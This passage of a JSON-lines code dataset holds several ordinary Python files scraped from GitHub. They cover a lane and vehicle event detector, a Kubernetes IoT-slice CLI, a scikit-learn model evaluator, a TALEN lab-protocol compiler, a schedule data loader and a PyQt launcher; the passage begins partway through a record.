\"...\"])\n\n def __get_genestr(self, itemid):\n \"\"\"Given a geneid, return the string geneid or a gene symbol.\"\"\"\n if self.id2symbol is not None:\n symbol = self.id2symbol.get(itemid, None)\n if symbol is not None:\n return symbol\n if isinstance(itemid, int):\n return str(itemid)\n return itemid\n\n# Copyright (C) 2016-2018, DV Klopfenstein, H Tang, All rights reserved.\n","repo_name":"tanghaibao/goatools","sub_path":"goatools/godag_plot.py","file_name":"godag_plot.py","file_ext":"py","file_size_in_byte":11480,"program_lang":"python","lang":"en","doc_type":"code","stars":671,"dataset":"github-code","pt":"68"}
+{"seq_id":"29807087398","text":"import cv2\nimport numpy as np\nimport tensorflow as tf\nimport glob\nimport os, signal, queue\n\nfrom lanenetdet.config import global_config\nfrom lanenetdet.lanenet_model import lanenet\n\nfrom run_efficientdet import effdet\n\nfrom module.functions import*\nfrom module.object_Tracker import Object_Tracker\nfrom module.line_Tracker import LineTracker\nfrom module.event_Classifier import EventClassifier\n\nclass Event_Detector:\n\n def __init__(self):\n # setup Tracker objects\n self.ot = Object_Tracker()\n self.lt = LineTracker()\n self.ec = EventClassifier(object_Tracker=self.ot, line_Tracker=self.lt)\n self.gpath = \"C:/FusionData/5A/ClassEvent_IHM\"\n\n def detect_events(self, action_interface, stop_process_queue, videoFolderPath, flag_crossing, flag_acc, flag_cico, flag_cut):\n # Set sess configuration / init lanenet\n sess_config = tf.ConfigProto()\n CFG = global_config.cfg\n sess_config.gpu_options.per_process_gpu_memory_fraction = CFG.TEST.GPU_MEMORY_FRACTION\n sess_config.gpu_options.allow_growth = CFG.TRAIN.TF_ALLOW_GROWTH\n sess_config.gpu_options.allocator_type = 'BFC'\n\n sess = tf.Session(config=sess_config)\n lane_frame_width = 720 # lanenet input size\n lane_frame_height = 256 # lanenet input size\n\n with sess.as_default():\n input_tensor = tf.placeholder(dtype=tf.float32, shape=[1, lane_frame_height, lane_frame_width, 3], name='input_tensor')\n net = lanenet.LaneNet(phase='test', net_flag='vgg')\n binary_seg_ret, instance_seg_ret = net.inference(input_tensor=input_tensor, name='lanenet_model')\n saver = tf.train.Saver()\n saver.restore(sess=sess, save_path= self.gpath + \"/lanenetdet/model/tusimple_lanenet_vgg.ckpt\") # C:/Tools/Python37/Lib/lanenetdet/model/tusimple_lanenet_vgg.ckpt\n\n # init efficientdet\n efficient_det = effdet(self.gpath)\n vid_folders = glob.glob(videoFolderPath + \"/*\")\n for vid in vid_folders:\n vidname = vid.split(\"\\\\\")[-1]\n print(\"Processing file : \" + vidname)\n vidonlyname = vidname.split(\".\")[0]\n cap = cv2.VideoCapture(vid)\n self.fps = cap.get(cv2.CAP_PROP_FPS) # raw is 25 fps\n total_frame = cap.get(cv2.CAP_PROP_FRAME_COUNT)\n frame_width = 720 # after maskframe\n frame_height = 255 # after maskframe\n frame_count = 0\n while (cap.isOpened()):\n ret, frame = cap.read()\n if ret == True:\n rects = list()\n frame_count += 1\n frame = maskframe(frame) # raw image is 720x576, output is 720x350\n # efficientdet\n if (frame_count-1) % 2 == 0 or frame_count == 1:\n action_interface.affichage(frame_count, total_frame)\n detections = efficient_det.detect_image(frame) # ymin, xmin, ymax, xmax frame[80:, 150:550]\n for detect in detections:\n if detect[6] in [3, 4, 6, 8]: # car, motorcycle, bus, truck\n rects.append(detect) # (?, ymin, xmin, ymax, xmax, %, class)\n # Object Tracking \n objects = self.ot.update(rects, self.lt.lines)\n if len(objects) > 0:\n new_frame = efficient_det.draw_objects(frame, np.array(list(objects.values())), track_ids=list(objects.keys()))\n else: \n new_frame = frame\n\n # lanenet \n frame = cv2.resize(frame, (lane_frame_width, lane_frame_height), interpolation=cv2.INTER_LINEAR)\n frame = frame / 127.5 - 1.0\n with sess.as_default():\n binary_seg_image, instance_seg_image = sess.run(\n [binary_seg_ret, instance_seg_ret],\n feed_dict={input_tensor: [frame]}\n )\n if binary_seg_image is not None:\n # Compute lines for each step\n output, right_lane, left_lane = self.lt.update(binary_seg_image[0], new_frame)\n self.ec.update(vidonlyname, frame_count, flag_acc, flag_cico, flag_crossing, flag_cut)\n # Frames are read by intervals of 10 milliseconds. The programs breaks out of the while loop when the user presses the 'q' key\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n try:\n stop_process = stop_process_queue.get(timeout=1)\n if stop_process:\n sess.close()\n action_interface.register_Event(self.ec.hist_event)\n print(\"=== FIN de l'analyse vidéo ===\")\n return\n except queue.Empty:\n pass\n else:\n break\n # The following frees up ressources and closes all windows\n cap.release()\n print(\"FIN DE LA LECTURE VIDEO\")\n action_interface.register_Event(self.ec.hist_event)\n sess.close()","repo_name":"MrzAtn/FDD","sub_path":"event_detector.py","file_name":"event_detector.py","file_ext":"py","file_size_in_byte":5326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"15549977178","text":"\"\"\"\niotorch iotslice\n\n Usage:\n iotorch iotslice create --name= --edge= --cloud= [--configfile=] \n iotorch iotslice [get|delete] --name= [--configfile=]\n iotorch iotslice list [--configfile=]\n\n\"\"\"\nfrom json import dumps\n\nfrom .base import Base\n\nfrom docopt import docopt\n\nfrom ..utils import k8sutils\n\nimport toml\n\nimport os\n\nclass Iotslice(Base):\n \"\"\"The IoT Slice command.\"\"\"\n\n def create(self):\n\n config_path = self.options['--configfile']\n\n if (not config_path):\n config_path='./iotorch.toml'\n\n iotslicename = self.options['--name']\n edgeclustername = self.options['--edge']\n cloudclustername = self.options['--cloud']\n\n sliceparams = {'edge':edgeclustername,'cloud':cloudclustername}\n\n iotslice = {iotslicename:sliceparams}\n\n config = {}\n\n iotslices = iotslice\n\n if not os.path.exists(config_path):\n print('Clusters do not exist')\n return\n\n with open(config_path,'r') as f:\n config = toml.load(f)\n f.close\n if config.get('iotslices') != None:\n iotslices = config['iotslices']\n iotslices.update(iotslice)\n\n clusters = config.get('k8sclusters')\n \n if clusters == None:\n print('Clusters do not exist')\n return\n\n edge = clusters.get(edgeclustername)\n\n if edge == None:\n print('Edge cluster does not exist')\n return\n\n cloud = clusters.get(cloudclustername)\n\n if cloud == None:\n print('Cloud cluster does not exist')\n return\n\n if not k8sutils.createnamespace(iotslicename,edgeclustername,config_path):\n print('Iot Slice not created in Edge Cluster')\n return\n\n if edgeclustername != cloudclustername:\n if not k8sutils.createnamespace(iotslicename,cloudclustername,config_path):\n print('Iot Slice not created in Cloud Cluster')\n return\n\n config.update({'iotslices':iotslices})\n with open(config_path,'w+') as f:\n toml.dump(config,f)\n\n print('IoT Slice %s created' %iotslicename)\n\n def delete(self):\n\n config_path = self.options['--configfile']\n\n if (not config_path):\n config_path='./iotorch.toml'\n\n if not os.path.exists(config_path):\n print('Nothing to delete')\n return\n\n iotslicename = self.options['--name']\n\n config = {}\n with open(config_path,'r') as f:\n config = toml.load(f)\n f.close\n\n if config.get('iotslices') == None:\n print('Nothing to delete')\n return\n\n iotslices = config.pop('iotslices')\n\n if iotslices.get(iotslicename) == None:\n print('Nothing to delete')\n return\n\n iotslice = iotslices.pop(iotslicename)\n\n edgeclustername = iotslice.get('edge')\n cloudclustername = iotslice.get('cloud')\n\n if not k8sutils.deletenamespace(iotslicename,edgeclustername,config_path):\n print('Iot Slice not deleted in Edge Cluster')\n return\n\n if edgeclustername != cloudclustername:\n if not k8sutils.deletenamespace(iotslicename,cloudclustername,config_path):\n print('Iot Slice not created in Cloud Cluster')\n return\n\n config.update({'iotslices':iotslices})\n\n with open(config_path,'w+') as f:\n toml.dump(config,f)\n\n print('IoT Slice %s deleted' %iotslicename)\n\n def get(self):\n \n config_path = self.options['--configfile']\n\n if (not config_path):\n config_path='./iotorch.toml'\n\n if not os.path.exists(config_path):\n print('Nothing to get')\n else:\n with open(config_path) as f:\n config = toml.load(f)\n slices = config.get('iotslices')\n if slices == None:\n print('Nothing to get')\n return\n iotslice = slices.get(self.options['--name'])\n if iotslice == None:\n print('Nothing to get')\n else:\n print(iotslice)\n\n def list(self):\n\n config_path = self.options['--configfile']\n\n if (not config_path):\n config_path='./iotorch.toml'\n\n if not os.path.exists(config_path):\n print('Nothing to list')\n else:\n with open(config_path) as f:\n config = toml.load(f)\n slices = config.get('iotslices')\n if slices == None:\n print('Nothing to list')\n else:\n print (list(slices.keys()))\n\n\n def run(self):\n\n options = docopt(__doc__)\n\n if options['create']:\n self.options=options\n self.create()\n elif options['delete']:\n self.options=options\n self.delete()\n elif options['get']:\n self.options=options\n self.get()\n elif options['list']:\n self.options=options\n self.list()\n else:\n print(\"Option not implemented\")\n raise NotImplementedError('Option not implemented')\n","repo_name":"juanmagal/iot-slice-orchestrator","sub_path":"iotorch/commands/iotslice.py","file_name":"iotslice.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"}
+{"seq_id":"71123378457","text":"from inspect import signature\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import confusion_matrix, accuracy_score\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.tree import export_graphviz\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.ensemble import GradientBoostingClassifier\r\n\r\nimport graphviz\r\n\r\nfrom xml.etree import ElementTree as ET\r\nfrom IPython.display import display, SVG\r\n\r\nfrom .utils import display_svg_with_zoom\r\n\r\nfrom io import BytesIO\r\nfrom PIL import Image\r\n\r\nsns.set_theme()\r\n\r\nclass ModelEvaluator:\r\n def __init__(self, X, y, hyperparameters, test_size=0.2, random_state=42):\r\n \"\"\"\r\n X: features dataframe\r\n y: target series/dataframe\r\n hyperparameters: dictionary of hyperparameters for models\r\n test_size: proportion of the dataset to include in the test split\r\n \"\"\"\r\n self.X, self.encoders = self._label_encode_dataframe(X)\r\n self.y = y\r\n self.X_train, self.X_test, self.y_train, self.y_test = train_test_split(self.X, self.y, test_size=test_size, random_state=random_state)\r\n self.hyperparameters = hyperparameters\r\n self.models = {}\r\n self.predictions = {}\r\n self.confusion_matrices = {}\r\n self.feature_importances = {}\r\n \r\n def _label_encode_dataframe(self, df):\r\n \"\"\"\r\n Label encode categorical columns of a dataframe\r\n \"\"\"\r\n df_encoded = df.copy()\r\n encoders = {}\r\n for column in df.columns:\r\n if df[column].dtype == 'object':\r\n encoder = LabelEncoder()\r\n df_encoded[column] = encoder.fit_transform(df[column])\r\n encoders[column] = encoder\r\n return df_encoded, encoders\r\n \r\n def _initialize_model(self, model_name, params):\r\n \"\"\"\r\n Initialize the model based on the algorithm and hyperparameters\r\n \"\"\"\r\n\r\n # Default parameters for each classifier\r\n defaults = {\r\n \"DecisionTree\": {\r\n 'criterion': 'gini',\r\n 'splitter': 'best',\r\n 'max_depth': None,\r\n 'min_samples_split': 2,\r\n 'min_samples_leaf': 1,\r\n 'min_weight_fraction_leaf': 0.0,\r\n 'max_features': None,\r\n 'random_state': None,\r\n 'max_leaf_nodes': None,\r\n 'min_impurity_decrease': 0.0,\r\n 'class_weight': None,\r\n 'ccp_alpha': 0.0\r\n },\r\n \"RandomForest\": {\r\n 'n_estimators': 100,\r\n 'criterion': 'gini',\r\n 'max_depth': None,\r\n 'min_samples_split': 2,\r\n 'min_samples_leaf': 1,\r\n 'min_weight_fraction_leaf': 0.0,\r\n 'max_features': 'sqrt',\r\n 'max_leaf_nodes': None,\r\n 'min_impurity_decrease': 0.0,\r\n 'bootstrap': True,\r\n 'oob_score': False,\r\n 'n_jobs': None,\r\n 'random_state': None,\r\n 'verbose': 0,\r\n 'warm_start': False,\r\n 'class_weight': None,\r\n 'ccp_alpha': 0.0,\r\n 'max_samples': None\r\n },\r\n \"SVM\": {\r\n 'C': 1.0,\r\n 'kernel': 'rbf',\r\n 'degree': 3,\r\n 'gamma': 'scale',\r\n 'coef0': 0.0,\r\n 'shrinking': True,\r\n 'probability': False,\r\n 'tol': 0.001,\r\n 'cache_size': 200,\r\n 'class_weight': None,\r\n 'verbose': False,\r\n 'max_iter': -1,\r\n 'decision_function_shape': 'ovr',\r\n 'break_ties': False,\r\n 'random_state': None\r\n },\r\n \"GradientBoosting\": {\r\n 'loss': 'deviance',\r\n 'learning_rate': 0.1,\r\n 'n_estimators': 100,\r\n 'subsample': 1.0,\r\n 'criterion': 'friedman_mse',\r\n 'min_samples_split': 2,\r\n 'min_samples_leaf': 1,\r\n 'min_weight_fraction_leaf': 0.0,\r\n 'max_depth': 3,\r\n 'min_impurity_decrease': 0.0,\r\n 'min_impurity_split': None,\r\n 'init': None,\r\n 'random_state': None,\r\n 'max_features': None,\r\n 'verbose': 0,\r\n 'max_leaf_nodes': None,\r\n 'warm_start': False,\r\n 'validation_fraction': 0.1,\r\n 'n_iter_no_change': None,\r\n 'tol': 0.0001,\r\n 'ccp_alpha': 0.0\r\n }\r\n }\r\n\r\n classifier_mapping = {\r\n \"DecisionTree\": DecisionTreeClassifier,\r\n \"RandomForest\": RandomForestClassifier,\r\n \"SVM\": SVC,\r\n \"GradientBoosting\": GradientBoostingClassifier\r\n }\r\n\r\n alg = params[\"algorithm\"]\r\n\r\n # Update defaults with provided parameters and filter out invalid parameters\r\n valid_params = {k: v for k, v in {**defaults[alg], **params}.items() if k in signature(classifier_mapping[alg]).parameters}\r\n\r\n if alg == \"DecisionTree\":\r\n return DecisionTreeClassifier(**valid_params)\r\n elif alg == \"RandomForest\":\r\n return RandomForestClassifier(**valid_params)\r\n elif alg == \"SVM\":\r\n return SVC(**valid_params)\r\n elif alg == \"GradientBoosting\":\r\n return GradientBoostingClassifier(**valid_params)\r\n else:\r\n raise ValueError(f\"Unsupported algorithm: {params['algorithm']}\") \r\n def run_models(self):\r\n \"\"\"\r\n Train models based on the provided hyperparameters and predict on the test set\r\n \"\"\"\r\n for model_name, params in self.hyperparameters.items():\r\n model = self._initialize_model(model_name, params)\r\n model.fit(self.X_train, self.y_train)\r\n self.models[model_name] = model\r\n preds = model.predict(self.X_test)\r\n self.predictions[model_name] = preds\r\n self.confusion_matrices[model_name] = confusion_matrix(self.y_test, preds)\r\n # Check if the model has feature_importances_ attribute\r\n if hasattr(model, \"feature_importances_\"):\r\n self.feature_importances[model_name] = model.feature_importances_\r\n print(f\"{model_name} is finished.\")\r\n \r\n def get_predictions(self, model_name):\r\n return self.predictions.get(model_name, None)\r\n \r\n def get_confusion_matrix(self, model_name):\r\n return self.confusion_matrices.get(model_name, None)\r\n \r\n def get_feature_importances(self, model_name):\r\n \"\"\"\r\n Return feature importances as a sorted dataframe\r\n \"\"\"\r\n importances = self.feature_importances.get(model_name, None)\r\n if importances is None:\r\n return None\r\n \r\n df_importances = pd.DataFrame({\r\n \"feature\": self.X.columns,\r\n \"importance\": importances\r\n })\r\n return df_importances.sort_values(by=\"importance\", ascending=False).reset_index(drop=True)\r\n \r\n def plot_confusion_matrix(self, model_name):\r\n \"\"\"\r\n Plot confusion matrix as a heatmap\r\n \"\"\"\r\n matrix = self.get_confusion_matrix(model_name)\r\n if matrix is None:\r\n print(f\"No confusion matrix found for model: {model_name}\")\r\n return\r\n \r\n # Check if target variable was label-encoded\r\n if self.y.name in self.encoders:\r\n labels = self.encoders[self.y.name].classes_\r\n else:\r\n labels = self.y.unique()\r\n \r\n plt.figure(figsize=(8, 6))\r\n sns.heatmap(matrix, annot=True, fmt='g', cmap='Blues', \r\n xticklabels=labels,\r\n yticklabels=labels)\r\n plt.xlabel('Predicted Label')\r\n plt.ylabel('True Label')\r\n plt.title(f'Confusion Matrix for {model_name}')\r\n plt.show()\r\n\r\n def visualize_decision_tree(self, model_name):\r\n \"\"\"\r\n Visualize the decision tree using graphviz\r\n \"\"\"\r\n model = self.models.get(model_name, None)\r\n if model is None:\r\n print(f\"No model found with name: {model_name}\")\r\n return\r\n \r\n if not isinstance(model, DecisionTreeClassifier):\r\n print(f\"Model {model_name} is not a DecisionTree. Visualization only supports DecisionTree.\")\r\n return\r\n \r\n # Convert class names to string type\r\n str_class_names = [str(cls) for cls in model.classes_]\r\n \r\n dot_data = export_graphviz(model, out_file=None, \r\n feature_names=self.X.columns, \r\n class_names=str_class_names, \r\n filled=True, rounded=True, \r\n special_characters=True) \r\n graph = graphviz.Source(dot_data) \r\n return graph\r\n","repo_name":"hamid-shojaei/modelrunner","sub_path":"modelrunner/model_evaluator.py","file_name":"model_evaluator.py","file_ext":"py","file_size_in_byte":9294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"28149011752","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\n\ndf = pd.read_csv('./data/train.csv')\ndf.dropna(axis=0)\n\ny = df['prix']\nx = df.drop('prix', axis=1)\n\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.1, random_state=69)\n\ny_test.to_csv('./data/test2.csv', index=False, header=None)\ny_test.to_csv('./test2-predictions.csv', index=False, header=None)\n","repo_name":"nicoOkie/kaggle","sub_path":"split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"7923138473","text":"\"\"\"\nThis script takes a 15 nucleotide target sequence followed by a base pair\nrepresenting the receiver plasmid.\n\nIt outputs an OT-One protocol to assemble a TALEN protein with the pFusX\nsystem, which provides a pre-plated library of plasmids and a database\nof well positions for this script to query.\n\nInput is a string representing an RVD sequence, whitespace optional,\nsuch as:\n\n> NI NG NI HD HD NN NG HD NG NG NI NG NG NG NG\n\nOr DNA, such as:\n\n> ATACCGTCTTATTTT\n\nOutput is a JSON file which represents a protocol that can run on any\nOT-One machine.\n\"\"\"\n\nimport sys\nimport os\nimport re\nimport json\nimport datetime\n\nfrom labsuite.protocol import Protocol\nfrom labsuite.protocol.formatters import JSONFormatter\n\nfrom .plate_map import PlateMap\n\n_fusx_plates = PlateMap(\n os.path.dirname(__file__) + '/data/fusx_platemap.csv',\n rotated=True,\n TALE1='A33',\n TALE2='K33',\n TALE3='U33',\n TALE4='A48',\n TALE5='K48'\n)\n\n\ndef dna_to_rvd(string):\n \"\"\"\n Translates a DNA string to RVD.\n \"\"\"\n translation = {\n 'A': 'NI',\n 'C': 'HD',\n 'T': 'NG',\n 'G': 'NN',\n 'R': 'NN' # Just assume G if purine is unspecified.\n }\n string = string.upper()\n rvd = []\n for c in string:\n if c is 'Y':\n # Apparently for restriction enzymes pyridians need to be more\n # specific than purines.\n raise ValueError(\n \"Invalid base: 'Y'; pyrimidines must be specified.\"\n )\n elif c not in translation:\n raise ValueError(\"Invalid character: {}\".format(c))\n else:\n rvd.append(translation[c])\n return ' '.join(rvd)\n\n\ndef rvd_to_tal(string):\n \"\"\"\n Translates an RVD string into TAL.\n\n Very similar to a reverse of dna_to_rvd, but DNA->RVD2->TAL2 will return\n a normalized result rather than the original input.\n \"\"\"\n translation = {\n 'NI': 'A',\n 'HD': 'C',\n 'NG': 'T',\n 'NN': 'G'\n }\n out = []\n string = string.upper() # Convert input to uppercase;\n string = re.sub(r'[^A-Z]+', '', string) # remove any separators.\n codes = map(''.join, zip(*[iter(string)] * 2)) # Two-character segments.\n for code in codes:\n if code not in translation:\n raise ValueError(\"Invalid RVD sequence: {}\".format(code))\n else:\n out.append(translation[code])\n return ''.join(out)\n\n\ndef tal_to_codons(tal):\n \"\"\"\n Takes a 15 or 16-base ATGC sequence and outputs an array of five\n codon sequences after doing validation.\n \"\"\"\n if re.match(r'[^ACTG]', tal): # Content check.\n raise ValueError(\"FusX TALEN sequence must be in ACTG form.\")\n codons = []\n for n in range(0, 12, 3): # Chunk into four parts of 3.\n codons.append(tal[n:n + 3])\n codons.append(tal[12:]) # Grab the last 2, 3 or 4 bases.\n return codons\n\n\ndef get_plasmid_wells(sequence, receiver='pC'):\n \"\"\"\n Takes a string of either RVD or DNA basepairs (15 or 16), does a\n bunch of input normalization and outputs a hash containing well\n positions for pfusx_[1..5], receiver, and backbone.\n\n No plate data is necessary at the moment; those are hard-coded in the\n template.\n \"\"\"\n\n tal = rvd_to_tal(sequence) # Normalize the sequence.\n\n codons = tal_to_codons(tal[0:-1])\n pLR_bp = tal[-1] # Last base is the receiver.\n\n if len(codons[4]) > 4:\n raise ValueError(\"Sequence must be an array of five codons.\")\n\n # We only actually need well coordinates for these because the plate\n # names are hard-coded into the pFusX JSON template.\n well_locs = {}\n\n # We pull the FusX plasmid locations from the plate map, five in total.\n for i, codon in enumerate(codons):\n codon_index = i + 1\n plate_name = 'TALE{}'.format(codon_index)\n location = _fusx_plates.get_plate(plate_name).find_well(codon)\n if not location:\n raise ValueError(\n \"Can't find well position for '{}' on plate {}.\".\n format(codon, plate_name)\n )\n else:\n well_locs[plate_name] = location\n\n plate = _fusx_plates.get_plate('TALE5')\n well_locs['pLR'] = plate.find_well('pLR: {}'.format(pLR_bp))\n if not well_locs['pLR']:\n raise ValueError(\"Invalid pLR: {}\".format(pLR_bp))\n\n valid_receivers = ['pT3TS', 'pC', 'pKT3']\n if receiver not in valid_receivers:\n raise ValueError(\n \"Receiver must be one of: {}\"\n .format(\", \".join(valid_receivers))\n )\n\n rec_well = plate.find_well(receiver)\n if not rec_well:\n # No way to really test this bit without adding an invalid\n # receiver that doesn't exist in the plate mapping...\n raise ValueError(\n \"Can't find receiver well for '{}'.\".\n format(receiver)\n )\n well_locs['receiver'] = rec_well\n\n return well_locs\n\n\ndef _get_tal_transfers(sequence, well='A1', receiver='pC'):\n \"\"\"\n Creates an array of transfer arguments for a TAL sequence.\n \"\"\"\n\n output_well = \"FusX Output:{}\".format(well)\n plasmids = get_plasmid_wells(sequence, receiver)\n\n # TAL Plasmid transfers\n tals = []\n for n in range(1, 6): # TALEN plasmids, 1 through 5\n tals.append(\n (\n \"TALE{}:{}\".format(n, plasmids['TALE{}'.format(n)]),\n output_well,\n 3\n )\n )\n\n # pLR and Receiver transfers\n pLR = [('TALE5:{}'.format(plasmids['pLR']), output_well, 3)]\n receiver = [('TALE5:{}'.format(plasmids['receiver']), output_well, 3)]\n\n return tals + pLR + receiver\n\n\ndef _normalize_sequence(sequence):\n \"\"\"\n Validate and normalize input sequences to RVD.\n \"\"\"\n\n # Uppercase; no separators, A-Z only.\n sequence = sequence.upper()\n sequence = re.sub(r'[^A-Z]+', '', sequence)\n\n # Normalize to RVD input.\n if re.match(r'^[ATGCYR]*$', sequence): # Match: DNA bases.\n sequence = re.sub('\\s', '', dna_to_rvd(sequence))\n elif re.match(r'^[NIHDG]*$', sequence): # Match: RVD bases.\n sequence = sequence\n else:\n raise ValueError(\"Input must be a sequence of RVD or DNA bases.\")\n\n if len(sequence) not in [32, 30]:\n raise ValueError(\"Sequence must be 15 RNA or DNA bases.\")\n\n return sequence\n\n\ndef compile(*sequences, output=None):\n \"\"\"\n Takes a list of sequence arguments (RVD or DNA) and outputs a generated\n protocol to make plasmids targetting those sequences.\n \"\"\"\n sequences = list(sequences)\n\n # Limit right now is the number of tips in the static deck map we're\n # using for this protocol.\n if len(sequences) > 15:\n raise ValueError(\n \"FusX compiler only supports up to 15 sequences.\"\n )\n\n # Argument normalization.\n normalized = []\n for i, s in enumerate(sequences):\n try:\n normalized.append(_normalize_sequence(s))\n except ValueError as e:\n raise ValueError(\"Sequence #{}: {}\".format(i + 1, e))\n\n # Make the transfers for every sequence.\n buffers = []\n tals = []\n enzymes = []\n\n well_map = {}\n for n, s in enumerate(normalized):\n n = n + 1\n if n > 12:\n well = 'B{}'.format(n - 12)\n else:\n well = 'A{}'.format(n)\n # We're going to do all the buffers at the start...\n buffers += [('Ingredients:A1', 'FusX Output:' + well, 10)]\n # TALs in the middle...\n tals += _get_tal_transfers(s, well=well)\n # Enzyme (BsmBI) at the end.\n enzymes += [(\"Ingredients:B1\", 'FusX Output:' + well, 10)]\n # For printing an output map.\n well_map[well] = sequences[n - 1] # Map to original input.\n\n # Nicely formatted well map for the description.\n output_map = []\n for well in sorted(well_map):\n output_map.append(\"{}: {}\".format(well, well_map[well]))\n\n protocol = Protocol()\n protocol.set_info(\n name=\"FusX Transfer\",\n created=str(datetime.date.today()),\n description=\"; \".join(output_map)\n )\n protocol.add_instrument('A', 'p10')\n protocol.add_instrument('B', 'p200')\n protocol.add_container('A1', 'tuberack.15-50ml', label='Ingredients')\n protocol.add_container('E1', 'microplate.96', label='Fusx Output')\n protocol.add_container('A2', 'point.trash')\n protocol.add_container('E3', 'microplate.96') # Cool deck.\n protocol.add_container('B2', 'tiprack.p10')\n protocol.add_container('B1', 'tiprack.p10')\n protocol.add_container('B3', 'tiprack.p10')\n protocol.add_container('C1', 'microplate.96', label='TALE1')\n protocol.add_container('D1', 'microplate.96', label='TALE2')\n protocol.add_container('C2', 'microplate.96', label='TALE3')\n protocol.add_container('D2', 'microplate.96', label='TALE4')\n protocol.add_container('C3', 'microplate.96', label='TALE5')\n\n # Take our three transfer groups and make them into a consolidated\n # transfer list.\n\n # Buffers\n group = []\n for start, end, volume in buffers:\n group.append((start, end, {'ul': volume}))\n protocol.transfer_group(*group, tool=\"p10\")\n\n # TALS\n for start, end, volume in tals:\n protocol.transfer(start, end, ul=volume)\n\n # Enzymes\n for start, end, volume in enzymes:\n protocol.transfer(start, end, ul=volume)\n\n compiled = protocol.export(JSONFormatter)\n\n if output:\n with open(output, 'w') as f:\n f.write(compiled)\n\n return compiled\n","repo_name":"Yuffster/labsuite","sub_path":"labsuite/compilers/pfusx.py","file_name":"pfusx.py","file_ext":"py","file_size_in_byte":9473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"70096616536","text":"from typing import List\n\nfrom schedule.data_transfer_objects.availability_dto import AvailabilityDTO\nfrom schedule.data_transfer_objects.service_dto import ServiceDTO\nfrom schedule.data_transfer_objects.vehicle_dto import VehicleDTO\n\n\ndef row_to_array(line: str) -> List[int]:\n array_line = line.replace(' \\n', '').replace('\\n', '').split(' ')\n\n return [int(x) for x in array_line]\n\n\ndef load_distances(file_name: str) -> List[List[int]]:\n distances_file = open(file_name, 'r')\n return [row_to_array(row) for row in distances_file]\n\n\ndef load_data(raw_data: List[str]) -> tuple[List['VehicleDTO'], List['ServiceDTO'], int]:\n vehicles_count = int(raw_data.pop(0))\n\n vehicles: List[VehicleDTO] = [VehicleDTO(0)]\n services: List[ServiceDTO] = [ServiceDTO(identifier=0, vehicle_identifier=0)]\n\n availability_counter = 1\n service_counter = 1\n\n for i in range(0, vehicles_count):\n row: list[int] = row_to_array(raw_data.pop(0))\n\n vehicle = VehicleDTO(identifier=row.pop(0))\n\n services_count = row.pop(0)\n for j in range(0, services_count):\n service = ServiceDTO(\n identifier=service_counter,\n vehicle_identifier=i + 1,\n start=row.pop(0),\n end=row.pop(0),\n duration=row.pop(0),\n address=row.pop(0),\n )\n\n vehicle.add_service(service)\n services.append(service)\n service_counter += 1\n\n availabilities_count = row.pop(0)\n for j in range(0, availabilities_count):\n vehicle.add_availability(AvailabilityDTO(\n identifier=availability_counter,\n vehicle_identifier=i,\n start=row.pop(0),\n end=row.pop(0),\n address=row.pop(0),\n ))\n availability_counter += 1\n\n vehicles.append(vehicle)\n\n for i in range(1, len(services)):\n services.append(ServiceDTO(\n identifier=len(services),\n vehicle_identifier=services[i].vehicle_identifier\n ))\n\n return vehicles, services, service_counter - 1\n","repo_name":"GrzegorzSikorski96/pwr-car-rental","sub_path":"schedule/generators/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"7201155923","text":"import Base, Background\r\nimport UiInit\r\nimport os, importlib\r\nfrom qfluentwidgets import qrouter\r\n\r\n#Wrapper for main procedure\r\n#To be plug into Background.run\r\ndef wrapper():\r\n #Store returnValue into list, to emulate pass by pointer in Python\r\n returnValue = [0]\r\n def main():\r\n from UI import GUI\r\n class BGUI(GUI):\r\n #Custom exit function\r\n def exit(self, code=None):\r\n if code is None:\r\n code = self.app.exec_()\r\n returnValue[0] = code\r\n\r\n #Module initialization\r\n def refine(self):\r\n for suspect in UiInit.members:\r\n print(\"Loading %s\"%suspect)\r\n moduleName = suspect.rsplit(\".\", 1)[0]\r\n importlib.import_module(\"UiInit.%s\"%moduleName)\r\n getattr(UiInit, moduleName).Init(self)\r\n\r\n #GUI Initialization procedure & Main loop\r\n def launch(self):\r\n qrouter.setDefaultRouteKey(self.ui.stackedWidget, self.ui.Homepage.objectName())\r\n self.ui.stackedWidget.currentChanged.connect(self.interfaceChanged)\r\n self.ui.stackedWidget.setCurrentIndex(0)\r\n self.ui.NavigationBar.setCurrentItem(self.ui.Homepage.objectName())\r\n super().launch()\r\n\r\n MainWindow = BGUI()\r\n #Hijack exit function\r\n Background.exitFunc = MainWindow.forceQuit\r\n MainWindow.launch()\r\n\r\n #Return value hook\r\n def hook():\r\n return returnValue[0]\r\n\r\n return main, hook\r\n\r\n#Start program with wrapper(SQL initialization)\r\nBackground.run(*(wrapper()))\r\n","repo_name":"yl12053/_yl12053_SBAASSM","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
